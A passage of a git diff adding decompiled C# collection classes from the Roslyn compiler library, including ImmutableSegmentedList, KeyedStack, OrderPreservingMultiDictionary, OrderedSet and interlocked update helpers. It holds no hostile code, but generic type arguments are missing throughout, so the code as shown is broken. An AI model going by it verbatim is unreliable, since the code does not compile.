T IList.this[int index] + { + get + { + return _list[index]; + } + set + { + throw new NotSupportedException(); + } + } + + object? IList.this[int index] + { + get + { + return _list[index]; + } + set + { + throw new NotSupportedException(); + } + } + + private ImmutableSegmentedList(SegmentedList list) + { + _list = list; + } + + public static bool operator ==(ImmutableSegmentedList left, ImmutableSegmentedList right) + { + return left.Equals(right); + } + + public static bool operator !=(ImmutableSegmentedList left, ImmutableSegmentedList right) + { + return !left.Equals(right); + } + + public static bool operator ==(ImmutableSegmentedList? left, ImmutableSegmentedList? right) + { + return left.GetValueOrDefault().Equals(right.GetValueOrDefault()); + } + + public static bool operator !=(ImmutableSegmentedList? left, ImmutableSegmentedList? right) + { + return !left.GetValueOrDefault().Equals(right.GetValueOrDefault()); + } + + public ref readonly T ItemRef(int index) + { + ImmutableSegmentedList immutableSegmentedList = this; + if ((uint)index >= (uint)immutableSegmentedList.Count) + { + ThrowHelper.ThrowArgumentOutOfRange_IndexException(); + } + return ref immutableSegmentedList._list._items[index]; + } + + public ImmutableSegmentedList Add(T value) + { + ImmutableSegmentedList immutableSegmentedList = this; + if (immutableSegmentedList.IsEmpty) + { + return new ImmutableSegmentedList(new SegmentedList { value }); + } + ValueBuilder valueBuilder = immutableSegmentedList.ToValueBuilder(); + valueBuilder.Add(value); + return valueBuilder.ToImmutable(); + } + + public ImmutableSegmentedList AddRange(IEnumerable items) + { + ImmutableSegmentedList result = this; + if (items is ICollection { Count: 0 }) + { + return result; + } + if (result.IsEmpty) + { + if (items is ImmutableSegmentedList) + { + return (ImmutableSegmentedList)(object)items; + } + if (items is Builder builder) + { + return builder.ToImmutable(); + } + return new ImmutableSegmentedList(new SegmentedList(items)); + } + ValueBuilder valueBuilder = result.ToValueBuilder(); + valueBuilder.AddRange(items); + return valueBuilder.ToImmutable(); + } + + public int BinarySearch(T item) + { + return _list.BinarySearch(item); + } + + public int BinarySearch(T item, IComparer? comparer) + { + return _list.BinarySearch(item, comparer); + } + + public int BinarySearch(int index, int count, T item, IComparer? comparer) + { + return _list.BinarySearch(index, count, item, comparer); + } + + public ImmutableSegmentedList Clear() + { + return Empty; + } + + public bool Contains(T value) + { + return _list.Contains(value); + } + + public ImmutableSegmentedList ConvertAll(Converter converter) + { + return new ImmutableSegmentedList(_list.ConvertAll(converter)); + } + + public void CopyTo(T[] array) + { + _list.CopyTo(array); + } + + public void CopyTo(T[] array, int arrayIndex) + { + _list.CopyTo(array, arrayIndex); + } + + public void CopyTo(int index, T[] array, int arrayIndex, int count) + { + _list.CopyTo(index, array, arrayIndex, count); + } + + public bool Exists(Predicate match) + { + return _list.Exists(match); + } + + public T? Find(Predicate match) + { + return _list.Find(match); + } + + public ImmutableSegmentedList FindAll(Predicate match) + { + return new ImmutableSegmentedList(_list.FindAll(match)); + } + + public int FindIndex(Predicate match) + { + return _list.FindIndex(match); + } + + public int FindIndex(int startIndex, Predicate match) + { + return _list.FindIndex(startIndex, match); + } + + public int FindIndex(int startIndex, int count, Predicate match) + { + return _list.FindIndex(startIndex, count, match); + } + + public T? FindLast(Predicate match) + { + return _list.FindLast(match); + } + + public int FindLastIndex(Predicate match) + { + return _list.FindLastIndex(match); + } + + public int FindLastIndex(int startIndex, Predicate match) + { + ImmutableSegmentedList immutableSegmentedList = this; + if (startIndex == 0 && immutableSegmentedList.IsEmpty) + { + return -1; + } + return immutableSegmentedList._list.FindLastIndex(startIndex, match); + } + + public int FindLastIndex(int startIndex, int count, Predicate match) + { + ImmutableSegmentedList immutableSegmentedList = this; + if (count == 0 && startIndex == 0 && immutableSegmentedList.IsEmpty) + { + return -1; + } + return immutableSegmentedList._list.FindLastIndex(startIndex, count, match); + } + + public void ForEach(Action action) + { + _list.ForEach(action); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_list); + } + + public ImmutableSegmentedList GetRange(int index, int count) + { + ImmutableSegmentedList result = this; + if (index == 0 && count == result.Count) + { + return result; + } + return new ImmutableSegmentedList(result._list.GetRange(index, count)); + } + + public int IndexOf(T value) + { + return _list.IndexOf(value); + } + + public int IndexOf(T item, int index, int count, IEqualityComparer? equalityComparer) + { + return _list.IndexOf(item, index, count, equalityComparer); + } + + public ImmutableSegmentedList Insert(int index, T item) + { + ImmutableSegmentedList immutableSegmentedList = this; + if (index == immutableSegmentedList.Count) + { + return immutableSegmentedList.Add(item); + } + ValueBuilder valueBuilder = immutableSegmentedList.ToValueBuilder(); + valueBuilder.Insert(index, item); + return valueBuilder.ToImmutable(); + } + + public ImmutableSegmentedList InsertRange(int index, IEnumerable items) + { + ImmutableSegmentedList immutableSegmentedList = this; + if (index == immutableSegmentedList.Count) + { + return immutableSegmentedList.AddRange(items); + } + ValueBuilder valueBuilder = immutableSegmentedList.ToValueBuilder(); + valueBuilder.InsertRange(index, items); + return valueBuilder.ToImmutable(); + } + + public int LastIndexOf(T item, int index, int count, IEqualityComparer? equalityComparer) + { + ImmutableSegmentedList immutableSegmentedList = this; + if (index < 0) + { + ThrowHelper.ThrowArgumentOutOfRange_IndexException(); + } + if (count < 0 || count > immutableSegmentedList.Count) + { + ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.count); + } + if (index - count + 1 < 0) + { + throw new ArgumentException(); + } + if (count == 0 && index == 0 && immutableSegmentedList.IsEmpty) + { + return -1; + } + return immutableSegmentedList._list.LastIndexOf(item, index, count, equalityComparer); + } + + public ImmutableSegmentedList Remove(T value) + { + ImmutableSegmentedList result = this; + int num = result.IndexOf(value); + if (num < 0) + { + return result; + } + return result.RemoveAt(num); + } + + public ImmutableSegmentedList Remove(T value, IEqualityComparer? equalityComparer) + { + ImmutableSegmentedList result = this; + int num = result.IndexOf(value, 0, Count, equalityComparer); + if (num < 0) + { + return result; + } + return result.RemoveAt(num); + } + + public ImmutableSegmentedList RemoveAll(Predicate match) + { + ValueBuilder valueBuilder = ToValueBuilder(); + valueBuilder.RemoveAll(match); + return valueBuilder.ToImmutable(); + } + + public ImmutableSegmentedList RemoveAt(int index) + { + ValueBuilder valueBuilder = ToValueBuilder(); + valueBuilder.RemoveAt(index); + return valueBuilder.ToImmutable(); + } + + public ImmutableSegmentedList RemoveRange(IEnumerable items) + { + if (items == null) + { + throw new ArgumentNullException("items"); + } + ImmutableSegmentedList result = this; + if (result.IsEmpty) + { + return result; + } + ValueBuilder valueBuilder = ToValueBuilder(); + foreach (T item in items) + { + int num = valueBuilder.IndexOf(item); + if (num >= 0) + { + valueBuilder.RemoveAt(num); + } + } + return valueBuilder.ToImmutable(); + } + + public ImmutableSegmentedList RemoveRange(IEnumerable items, IEqualityComparer? equalityComparer) + { + if (items == null) + { + throw new ArgumentNullException("items"); + } + ImmutableSegmentedList result = this; + if (result.IsEmpty) + { + return result; + } + ValueBuilder valueBuilder = ToValueBuilder(); + foreach (T item in items) + { + int num = valueBuilder.IndexOf(item, 0, valueBuilder.Count, equalityComparer); + if (num >= 0) + { + valueBuilder.RemoveAt(num); + } + } + return valueBuilder.ToImmutable(); + } + + public ImmutableSegmentedList RemoveRange(int index, int count) + { + ImmutableSegmentedList result = this; + if (count == 0 && index >= 0 && index <= result.Count) + { + return result; + } + ValueBuilder valueBuilder = result.ToValueBuilder(); + valueBuilder.RemoveRange(index, count); + return valueBuilder.ToImmutable(); + } + + public ImmutableSegmentedList Replace(T oldValue, T newValue) + { + ImmutableSegmentedList immutableSegmentedList = this; + int num = immutableSegmentedList.IndexOf(oldValue); + if (num < 0) + { + throw new ArgumentException(SR.CannotFindOldValue, "oldValue"); + } + return immutableSegmentedList.SetItem(num, newValue); + } + + public ImmutableSegmentedList Replace(T oldValue, T newValue, IEqualityComparer? equalityComparer) + { + ImmutableSegmentedList immutableSegmentedList = this; + int num = immutableSegmentedList.IndexOf(oldValue, equalityComparer); + if (num < 0) + { + throw new ArgumentException(SR.CannotFindOldValue, "oldValue"); + } + return immutableSegmentedList.SetItem(num, newValue); + } + + public ImmutableSegmentedList Reverse() + { + ImmutableSegmentedList result = this; + if (result.Count < 2) + { + return result; + } + ValueBuilder valueBuilder = result.ToValueBuilder(); + valueBuilder.Reverse(); + return valueBuilder.ToImmutable(); + } + + public ImmutableSegmentedList Reverse(int index, int count) + { + ValueBuilder valueBuilder = ToValueBuilder(); + valueBuilder.Reverse(index, count); + return valueBuilder.ToImmutable(); + } + + public ImmutableSegmentedList SetItem(int index, T value) + { + ValueBuilder valueBuilder = ToValueBuilder(); + valueBuilder[index] = value; + return valueBuilder.ToImmutable(); + } + + public ImmutableSegmentedList Sort() + { + ImmutableSegmentedList result = this; + if (result.Count < 2) + { + return result; + } + ValueBuilder valueBuilder = result.ToValueBuilder(); + valueBuilder.Sort(); + return valueBuilder.ToImmutable(); + } + + public ImmutableSegmentedList Sort(IComparer? comparer) + { + ImmutableSegmentedList result = this; + if (result.Count < 2) + { + return result; + } + ValueBuilder valueBuilder = result.ToValueBuilder(); + valueBuilder.Sort(comparer); + return valueBuilder.ToImmutable(); + } + + public ImmutableSegmentedList Sort(Comparison comparison) + { + if (comparison == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.comparison); + } + ImmutableSegmentedList result = this; + if (result.Count < 2) + { + return result; + } + ValueBuilder valueBuilder = result.ToValueBuilder(); + valueBuilder.Sort(comparison); + return valueBuilder.ToImmutable(); + } + + public ImmutableSegmentedList Sort(int index, int count, IComparer? comparer) + { + ValueBuilder valueBuilder = ToValueBuilder(); + valueBuilder.Sort(index, count, comparer); + return valueBuilder.ToImmutable(); + } + + public Builder ToBuilder() + { + return new Builder(this); + } + + private ValueBuilder ToValueBuilder() + { + return new ValueBuilder(this); + } + + public override int GetHashCode() + { + return _list?.GetHashCode() ?? 0; + } + + public override bool Equals(object? obj) + { + if (obj is ImmutableSegmentedList other) + { + return Equals(other); + } + return false; + } + + public bool Equals(ImmutableSegmentedList other) + { + return _list == other._list; + } + + public bool TrueForAll(Predicate match) + { + return _list.TrueForAll(match); + } + + IImmutableList IImmutableList.Clear() + { + return Clear(); + } + + IImmutableList IImmutableList.Add(T value) + { + return Add(value); + } + + IImmutableList IImmutableList.AddRange(IEnumerable items) + { + return AddRange(items); + } + + IImmutableList IImmutableList.Insert(int index, T element) + { + return Insert(index, element); + } + + IImmutableList IImmutableList.InsertRange(int index, IEnumerable items) + { + return InsertRange(index, items); + } + + IImmutableList IImmutableList.Remove(T value, IEqualityComparer? equalityComparer) + { + return Remove(value, equalityComparer); + } + + IImmutableList IImmutableList.RemoveAll(Predicate match) + { + return RemoveAll(match); + } + + IImmutableList IImmutableList.RemoveRange(IEnumerable items, IEqualityComparer? equalityComparer) + { + return RemoveRange(items, equalityComparer); + } + + IImmutableList IImmutableList.RemoveRange(int index, int count) + { + return RemoveRange(index, count); + } + + IImmutableList IImmutableList.RemoveAt(int index) + { + return RemoveAt(index); + } + + IImmutableList IImmutableList.SetItem(int index, T value) + { + return SetItem(index, value); + } + + IImmutableList IImmutableList.Replace(T oldValue, T newValue, IEqualityComparer? equalityComparer) + { + return Replace(oldValue, newValue, equalityComparer); + } + + IEnumerator IEnumerable.GetEnumerator() + { + if (!IsEmpty) + { + return GetEnumerator(); + } + return Enumerable.Empty().GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return ((IEnumerable)this).GetEnumerator(); + } + + void IList.Insert(int index, T item) + { + throw new NotSupportedException(); + } + + void IList.RemoveAt(int index) + { + throw new NotSupportedException(); + } + + void ICollection.Add(T item) + { + throw new NotSupportedException(); + } + + void ICollection.Clear() + { + throw new NotSupportedException(); + } + + bool ICollection.Remove(T item) + { + throw new NotSupportedException(); + } + + int IList.Add(object? value) + { + throw new NotSupportedException(); + } + + void IList.Clear() + { + throw new NotSupportedException(); + } + + bool IList.Contains(object? value) + { + return ((IList)_list).Contains(value); + } + + int IList.IndexOf(object? value) + { + return ((IList)_list).IndexOf(value); + } + + void IList.Insert(int index, object? value) + { + throw new NotSupportedException(); + } + + void IList.Remove(object? value) + { + throw new NotSupportedException(); + } + + void IList.RemoveAt(int index) + { + throw new NotSupportedException(); + } + + void ICollection.CopyTo(Array array, int index) + { + ((ICollection)_list).CopyTo(array, index); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/KeyedStack.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/KeyedStack.cs new file mode 100644 index 0000000..9d5a275 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/KeyedStack.cs @@ -0,0 +1,30 @@ +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; + +namespace Microsoft.CodeAnalysis.Collections; + +internal class KeyedStack where T : notnull +{ + private readonly Dictionary> _dict = new Dictionary>(); + + public void Push(T key, R value) + { + if (!_dict.TryGetValue(key, out Stack value2)) + { + value2 = new Stack(); + _dict.Add(key, value2); + } + value2.Push(value); + } + + public bool TryPop(T key, [MaybeNullWhen(false)] out R value) + { + if (_dict.TryGetValue(key, out Stack value2) && value2.Count > 0) + { + value = value2.Pop(); + return true; + } + value = default(R); + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/OrderPreservingMultiDictionary.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/OrderPreservingMultiDictionary.cs new file mode 100644 index 0000000..362bc7e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/OrderPreservingMultiDictionary.cs @@ -0,0 +1,295 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Collections; + +internal sealed class OrderPreservingMultiDictionary : IEnumerable.ValueSet>>, IEnumerable where K : notnull where V : notnull +{ + public readonly struct ValueSet : IEnumerable, IEnumerable + { + public struct Enumerator(ValueSet valueSet) : IEnumerator, IEnumerator, IDisposable + { + private readonly ValueSet _valueSet = valueSet; + + private readonly int _count = _valueSet.Count; + + private int _index = -1; + + public V Current => _valueSet[_index]; + + object IEnumerator.Current => Current; + + public bool MoveNext() + { + _index++; + return _index < _count; + } + + public void Reset() + { + _index = -1; + } + + public void Dispose() + { + } + } + + private readonly object _value; + + internal V this[int index] + { + get + { + if (!(_value is ArrayBuilder arrayBuilder)) + { + if (index == 0) + { + return (V)_value; + } + throw new IndexOutOfRangeException(); + } + return arrayBuilder[index]; + } + } + + internal ImmutableArray Items + { + get + { + if (!(_value is ArrayBuilder arrayBuilder)) + { + return ImmutableArray.Create((V)_value); + } + return arrayBuilder.ToImmutable(); + } + } + + internal int Count => (_value as ArrayBuilder)?.Count ?? 1; + + internal ValueSet(V value) + { + _value = value; + } + + internal ValueSet(ArrayBuilder values) + { + _value = values; + } + + internal void Free() + { + (_value as ArrayBuilder)?.Free(); + } + + public bool TryGetValue(Func predicate, TArg arg, [MaybeNullWhen(false)] out V value) + { + if (_value is ArrayBuilder arrayBuilder) + { + ArrayBuilder.Enumerator enumerator = arrayBuilder.GetEnumerator(); + while (enumerator.MoveNext()) + { + V current = enumerator.Current; + if (predicate(current, arg)) + { + value = current; + return true; + } + } + } + else + { + V val = (V)_value; + if (predicate(val, arg)) + { + value = val; + return true; + } + } + value = default(V); + return false; + } + + internal bool Contains(V item) + { + if (_value is ArrayBuilder arrayBuilder) + { + return arrayBuilder.Contains(item); + } + return EqualityComparer.Default.Equals(item, (V)_value); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + internal ValueSet WithAddedItem(V item) + { + ArrayBuilder arrayBuilder = _value as ArrayBuilder; + if (arrayBuilder == null) + { + arrayBuilder = ArrayBuilder.GetInstance(2); + arrayBuilder.Add((V)_value); + arrayBuilder.Add(item); + } + else + { + arrayBuilder.Add(item); + } + return new ValueSet(arrayBuilder); + } + } + + private readonly ObjectPool>? _pool; + + private static readonly ObjectPool> s_poolInstance = CreatePool(); + + private static readonly Dictionary s_emptyDictionary = new Dictionary(); + + private PooledDictionary? _dictionary; + + public bool IsEmpty => _dictionary == null; + + public ImmutableArray this[K k] + { + get + { + if (_dictionary != null && _dictionary.TryGetValue(k, out var value)) + { + return value.Items; + } + return ImmutableArray.Empty; + } + } + + public Dictionary.KeyCollection Keys + { + get + { + if (_dictionary != null) + { + return _dictionary.Keys; + } + return s_emptyDictionary.Keys; + } + } + + private OrderPreservingMultiDictionary(ObjectPool> pool) + { + _pool = pool; + } + + public void Free() + { + if (_dictionary != null) + { + foreach (KeyValuePair item in _dictionary) + { + item.Value.Free(); + } + _dictionary.Free(); + _dictionary = null; + } + _pool?.Free(this); + } + + public static ObjectPool> CreatePool() + { + return new ObjectPool>((ObjectPool> pool) => new OrderPreservingMultiDictionary(pool), 16); + } + + public static OrderPreservingMultiDictionary GetInstance() + { + return s_poolInstance.Allocate(); + } + + public OrderPreservingMultiDictionary() + { + } + + private void EnsureDictionary() + { + if (_dictionary == null) + { + _dictionary = PooledDictionary.GetInstance(); + } + } + + public void Add(K k, V v) + { + if (_dictionary != null && _dictionary.TryGetValue(k, out var value)) + { + _dictionary[k] = value.WithAddedItem(v); + return; + } + EnsureDictionary(); + _dictionary[k] = new ValueSet(v); + } + + public bool TryGetValue(K key, Func predicate, TArg arg, [MaybeNullWhen(false)] out V value) + { + if (_dictionary != null && _dictionary.TryGetValue(key, out var value2)) + { + return value2.TryGetValue(predicate, arg, out value); + } + value = default(V); + return false; + } + + public Dictionary.Enumerator GetEnumerator() + { + if (_dictionary != null) + { + return _dictionary.GetEnumerator(); + } + return s_emptyDictionary.GetEnumerator(); + } + + IEnumerator> IEnumerable>.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + public OneOrMany GetAsOneOrMany(K k) + { + if (_dictionary != null && _dictionary.TryGetValue(k, out var value)) + { + if (value.Count != 1) + { + return OneOrMany.Create(value.Items); + } + return OneOrMany.Create(value[0]); + } + return OneOrMany.Empty; + } + + public bool Contains(K key, V value) + { + if (_dictionary != null && _dictionary.TryGetValue(key, out var value2)) + { + return value2.Contains(value); + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/OrderedSet.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/OrderedSet.cs new file mode 100644 index 0000000..14ef8c1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/OrderedSet.cs @@ -0,0 +1,73 @@ +using System.Collections; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Collections; + +internal sealed class OrderedSet : IEnumerable, IEnumerable, Roslyn.Utilities.IReadOnlySet, IReadOnlyList, IReadOnlyCollection, IOrderedReadOnlySet +{ + private readonly HashSet _set; + + private readonly ArrayBuilder _list; + + public int Count => _list.Count; + + public T this[int index] => _list[index]; + + public OrderedSet() + { + _set = new HashSet(); + _list = new ArrayBuilder(); + } + + public OrderedSet(IEnumerable items) + : this() + { + AddRange(items); + } + + public void AddRange(IEnumerable items) + { + foreach (T item in items) + { + Add(item); + } + } + + public bool Add(T item) + { + if (_set.Add(item)) + { + _list.Add(item); + return true; + } + return false; + } + + public bool Contains(T item) + { + return _set.Contains(item); + } + + public ArrayBuilder.Enumerator GetEnumerator() + { + return _list.GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return ((IEnumerable)_list).GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return ((IEnumerable)_list).GetEnumerator(); + } + + public void Clear() + { + _set.Clear(); + _list.Clear(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/RoslynImmutableInterlocked.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/RoslynImmutableInterlocked.cs new file mode 100644 index 0000000..391a4f0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/RoslynImmutableInterlocked.cs @@ -0,0 +1,388 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; + +namespace Microsoft.CodeAnalysis.Collections; + +internal static class RoslynImmutableInterlocked +{ + public static bool Update(ref ImmutableSegmentedList location, Func, ImmutableSegmentedList> transformer) + { + if (transformer == null) + { + throw new ArgumentNullException("transformer"); + } + ImmutableSegmentedList immutableSegmentedList = ImmutableSegmentedList.PrivateInterlocked.VolatileRead(in location); + while (true) + { + ImmutableSegmentedList immutableSegmentedList2 = transformer(immutableSegmentedList); + if (immutableSegmentedList == immutableSegmentedList2) + { + return false; + } + ImmutableSegmentedList immutableSegmentedList3 = InterlockedCompareExchange(ref location, immutableSegmentedList2, immutableSegmentedList); + if (immutableSegmentedList == immutableSegmentedList3) + { + break; + } + immutableSegmentedList = immutableSegmentedList3; + } + return true; + } + + public static bool Update(ref ImmutableSegmentedList location, Func, TArg, ImmutableSegmentedList> transformer, TArg transformerArgument) + { + if (transformer == null) + { + throw new ArgumentNullException("transformer"); + } + ImmutableSegmentedList immutableSegmentedList = ImmutableSegmentedList.PrivateInterlocked.VolatileRead(in location); + while (true) + { + ImmutableSegmentedList immutableSegmentedList2 = transformer(immutableSegmentedList, transformerArgument); + if (immutableSegmentedList == immutableSegmentedList2) + { + return false; + } + ImmutableSegmentedList immutableSegmentedList3 = InterlockedCompareExchange(ref location, immutableSegmentedList2, immutableSegmentedList); + if (immutableSegmentedList == immutableSegmentedList3) + { + break; + } + immutableSegmentedList = immutableSegmentedList3; + } + return true; + } + + public static ImmutableSegmentedList InterlockedExchange(ref ImmutableSegmentedList location, ImmutableSegmentedList value) + { + return ImmutableSegmentedList.PrivateInterlocked.InterlockedExchange(ref location, value); + } + + public static ImmutableSegmentedList InterlockedCompareExchange(ref ImmutableSegmentedList location, ImmutableSegmentedList value, ImmutableSegmentedList comparand) + { + return ImmutableSegmentedList.PrivateInterlocked.InterlockedCompareExchange(ref location, value, comparand); + } + + public static bool InterlockedInitialize(ref ImmutableSegmentedList location, ImmutableSegmentedList value) + { + return InterlockedCompareExchange(ref location, value, default(ImmutableSegmentedList)).IsDefault; + } + + public static bool Update(ref ImmutableSegmentedHashSet location, Func, ImmutableSegmentedHashSet> transformer) + { + if (transformer == null) + { + throw new ArgumentNullException("transformer"); + } + ImmutableSegmentedHashSet immutableSegmentedHashSet = ImmutableSegmentedHashSet.PrivateInterlocked.VolatileRead(in location); + while (true) + { + ImmutableSegmentedHashSet immutableSegmentedHashSet2 = transformer(immutableSegmentedHashSet); + if (immutableSegmentedHashSet == immutableSegmentedHashSet2) + { + return false; + } + ImmutableSegmentedHashSet immutableSegmentedHashSet3 = InterlockedCompareExchange(ref location, immutableSegmentedHashSet2, immutableSegmentedHashSet); + if (immutableSegmentedHashSet == immutableSegmentedHashSet3) + { + break; + } + immutableSegmentedHashSet = immutableSegmentedHashSet3; + } + return true; + } + + public static bool Update(ref ImmutableSegmentedHashSet location, Func, TArg, ImmutableSegmentedHashSet> transformer, TArg transformerArgument) + { + if (transformer == null) + { + throw new ArgumentNullException("transformer"); + } + ImmutableSegmentedHashSet immutableSegmentedHashSet = ImmutableSegmentedHashSet.PrivateInterlocked.VolatileRead(in location); + while (true) + { + ImmutableSegmentedHashSet immutableSegmentedHashSet2 = transformer(immutableSegmentedHashSet, transformerArgument); + if (immutableSegmentedHashSet == immutableSegmentedHashSet2) + { + return false; + } + ImmutableSegmentedHashSet immutableSegmentedHashSet3 = InterlockedCompareExchange(ref location, immutableSegmentedHashSet2, immutableSegmentedHashSet); + if (immutableSegmentedHashSet == immutableSegmentedHashSet3) + { + break; + } + immutableSegmentedHashSet = immutableSegmentedHashSet3; + } + return true; + } + + public static ImmutableSegmentedHashSet InterlockedExchange(ref ImmutableSegmentedHashSet location, ImmutableSegmentedHashSet value) + { + return ImmutableSegmentedHashSet.PrivateInterlocked.InterlockedExchange(ref location, value); + } + + public static ImmutableSegmentedHashSet InterlockedCompareExchange(ref ImmutableSegmentedHashSet location, ImmutableSegmentedHashSet value, ImmutableSegmentedHashSet comparand) + { + return ImmutableSegmentedHashSet.PrivateInterlocked.InterlockedCompareExchange(ref location, value, comparand); + } + + public static bool InterlockedInitialize(ref ImmutableSegmentedHashSet location, ImmutableSegmentedHashSet value) + { + return InterlockedCompareExchange(ref location, value, default(ImmutableSegmentedHashSet)).IsDefault; + } + + public static bool Update(ref ImmutableSegmentedDictionary location, Func, ImmutableSegmentedDictionary> transformer) where TKey : notnull + { + if (transformer == null) + { + throw new ArgumentNullException("transformer"); + } + ImmutableSegmentedDictionary immutableSegmentedDictionary = ImmutableSegmentedDictionary.PrivateInterlocked.VolatileRead(in location); + while (true) + { + ImmutableSegmentedDictionary immutableSegmentedDictionary2 = transformer(immutableSegmentedDictionary); + if (immutableSegmentedDictionary == immutableSegmentedDictionary2) + { + return false; + } + ImmutableSegmentedDictionary immutableSegmentedDictionary3 = InterlockedCompareExchange(ref location, immutableSegmentedDictionary2, immutableSegmentedDictionary); + if (immutableSegmentedDictionary == immutableSegmentedDictionary3) + { + break; + } + immutableSegmentedDictionary = immutableSegmentedDictionary3; + } + return true; + } + + public static bool Update(ref ImmutableSegmentedDictionary location, Func, TArg, ImmutableSegmentedDictionary> transformer, TArg transformerArgument) where TKey : notnull + { + if (transformer == null) + { + throw new ArgumentNullException("transformer"); + } + ImmutableSegmentedDictionary immutableSegmentedDictionary = ImmutableSegmentedDictionary.PrivateInterlocked.VolatileRead(in location); + while (true) + { + ImmutableSegmentedDictionary immutableSegmentedDictionary2 = transformer(immutableSegmentedDictionary, transformerArgument); + if (immutableSegmentedDictionary == immutableSegmentedDictionary2) + { + return false; + } + ImmutableSegmentedDictionary immutableSegmentedDictionary3 = InterlockedCompareExchange(ref location, immutableSegmentedDictionary2, immutableSegmentedDictionary); + if (immutableSegmentedDictionary == immutableSegmentedDictionary3) + { + break; + } + immutableSegmentedDictionary = immutableSegmentedDictionary3; + } + return true; + } + + public static ImmutableSegmentedDictionary InterlockedExchange(ref ImmutableSegmentedDictionary location, ImmutableSegmentedDictionary value) where TKey : notnull + { + return ImmutableSegmentedDictionary.PrivateInterlocked.InterlockedExchange(ref location, value); + } + + public static ImmutableSegmentedDictionary InterlockedCompareExchange(ref ImmutableSegmentedDictionary location, ImmutableSegmentedDictionary value, ImmutableSegmentedDictionary comparand) where TKey : notnull + { + return ImmutableSegmentedDictionary.PrivateInterlocked.InterlockedCompareExchange(ref location, value, comparand); + } + + public static bool InterlockedInitialize(ref ImmutableSegmentedDictionary location, ImmutableSegmentedDictionary value) where TKey : notnull + { + return InterlockedCompareExchange(ref location, value, default(ImmutableSegmentedDictionary)).IsDefault; + } + + public static TValue GetOrAdd(ref ImmutableSegmentedDictionary location, TKey key, Func valueFactory, TArg factoryArgument) where TKey : notnull + { + if (valueFactory == null) + { + throw new ArgumentNullException("valueFactory"); + } + ImmutableSegmentedDictionary immutableSegmentedDictionary = ImmutableSegmentedDictionary.PrivateInterlocked.VolatileRead(in location); + if (immutableSegmentedDictionary.IsDefault) + { + throw new ArgumentNullException("location"); + } + if (immutableSegmentedDictionary.TryGetValue(key, out var value)) + { + return value; + } + value = valueFactory(key, factoryArgument); + return GetOrAdd(ref location, key, value); + } + + public static TValue GetOrAdd(ref ImmutableSegmentedDictionary location, TKey key, Func valueFactory) where TKey : notnull + { + if (valueFactory == null) + { + throw new ArgumentNullException("valueFactory"); + } + ImmutableSegmentedDictionary immutableSegmentedDictionary = ImmutableSegmentedDictionary.PrivateInterlocked.VolatileRead(in location); + if (immutableSegmentedDictionary.IsDefault) + { + throw new ArgumentNullException("location"); + } + if (immutableSegmentedDictionary.TryGetValue(key, out var value)) + { + return value; + } + value = valueFactory(key); + return GetOrAdd(ref location, key, value); + } + + public static TValue GetOrAdd(ref ImmutableSegmentedDictionary location, TKey key, TValue value) where TKey : notnull + { + ImmutableSegmentedDictionary immutableSegmentedDictionary = ImmutableSegmentedDictionary.PrivateInterlocked.VolatileRead(in location); + while (true) + { + if (immutableSegmentedDictionary.IsDefault) + { + throw new ArgumentNullException("location"); + } + if (immutableSegmentedDictionary.TryGetValue(key, out var value2)) + { + return value2; + } + ImmutableSegmentedDictionary value3 = immutableSegmentedDictionary.Add(key, value); + ImmutableSegmentedDictionary immutableSegmentedDictionary2 = InterlockedCompareExchange(ref location, value3, immutableSegmentedDictionary); + if (immutableSegmentedDictionary == immutableSegmentedDictionary2) + { + break; + } + immutableSegmentedDictionary = immutableSegmentedDictionary2; + } + return value; + } + + public static TValue AddOrUpdate(ref ImmutableSegmentedDictionary location, TKey key, Func addValueFactory, Func updateValueFactory) where TKey : notnull + { + if (addValueFactory == null) + { + throw new ArgumentNullException("addValueFactory"); + } + if (updateValueFactory == null) + { + throw new ArgumentNullException("updateValueFactory"); + } + ImmutableSegmentedDictionary immutableSegmentedDictionary = ImmutableSegmentedDictionary.PrivateInterlocked.VolatileRead(in location); + TValue val; + while (true) + { + if (immutableSegmentedDictionary.IsDefault) + { + throw new ArgumentNullException("location"); + } + val = ((!immutableSegmentedDictionary.TryGetValue(key, out var value)) ? addValueFactory(key) : updateValueFactory(key, value)); + ImmutableSegmentedDictionary value2 = immutableSegmentedDictionary.SetItem(key, val); + ImmutableSegmentedDictionary immutableSegmentedDictionary2 = InterlockedCompareExchange(ref location, value2, 